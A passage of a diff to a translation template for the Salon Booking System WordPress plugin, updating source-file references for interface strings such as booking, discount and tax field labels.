..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:172\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:256\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:190\n+msgid \"End date.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:150, views\u002Fmetabox\u002F_booking_services.php:295, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:150, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:295, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:150, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:295\n-msgid \"No resources\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_holiday_row.php:248\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:248\n+msgid \"End on\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:169, views\u002Fmetabox\u002F_booking_services.php:317, src\u002FSLN\u002FPostType\u002FBooking.php:268, src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:169, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:317, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:268, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:169, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:317, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:317, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:268, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30\n-msgid \"Attendant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183\n+msgid \"Endpoint not found. The API may have been updated.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:185, views\u002Fmetabox\u002F_booking_services.php:345, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:345, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:345\n-msgid \"Service addded\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:445\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:445\n+msgid \"Ends before timeline\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:186, views\u002Fmetabox\u002F_booking_services.php:346, views\u002Fsettings\u002F_holiday_row.php:264, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:346, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_holiday_row.php:264, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:346, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_holiday_row.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_holiday_row.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_holiday_row.php:264\n-msgid \"Remove\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:555\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:555\n+msgid \"Enhance your booking system with powerful add-ons\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14\n-msgid \"Switch to PRO to unlock this feature! Click to know more.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:182\n+msgid \"Ensure your sender ID (phone number) is registered in the portal\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14\n-msgid \"Switch to PRO to unlock this feature!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:601\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:601\n+msgid \"Enter booking name\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16\n-msgid \"Unlock this feature today for a special price.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12\n+msgid \"Enter discount code\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:19\n-msgid \"Get access to all PRO features\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:181\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:181\n+msgid \"Enter discount name\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:20\n-msgid \"Get access to Mobile Web App\"\n+#. %s: the default email address of the site\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:48\n+#, php-format\n+msgid \"\"\n+\"Enter one or more email addresses separated by commas. Leaving this field \"\n+\"empty will use the default site email \u003Cstrong>(%s)\u003C\u002Fstrong>.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21\n-msgid \"Activate online payments\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:148\n+msgid \"Enter resource name\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:22\n-msgid \"Get email priority support\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:189\n+msgid \"Enter service name\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:23\n-msgid \"Download our add-ons for free\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:384\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:384\n+msgid \"Enter TAX %\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48\n-msgid \"Switch to \u003Cstrong>PR\u003Cspan>O\u003C\u002Fspan>\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:378\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:378\n+msgid \"Enter tax exclusive prices\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_pro_feature_tooltip.php:54, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:54\n-msgid \"Get 15% discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:368\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:368\n+msgid \"Enter tax inclusive prices\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_tab_attendant_rules.php:8, views\u002Fsettings\u002Ftab_booking.php:15, views\u002Fsettings\u002F_tab_booking_rules.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8, 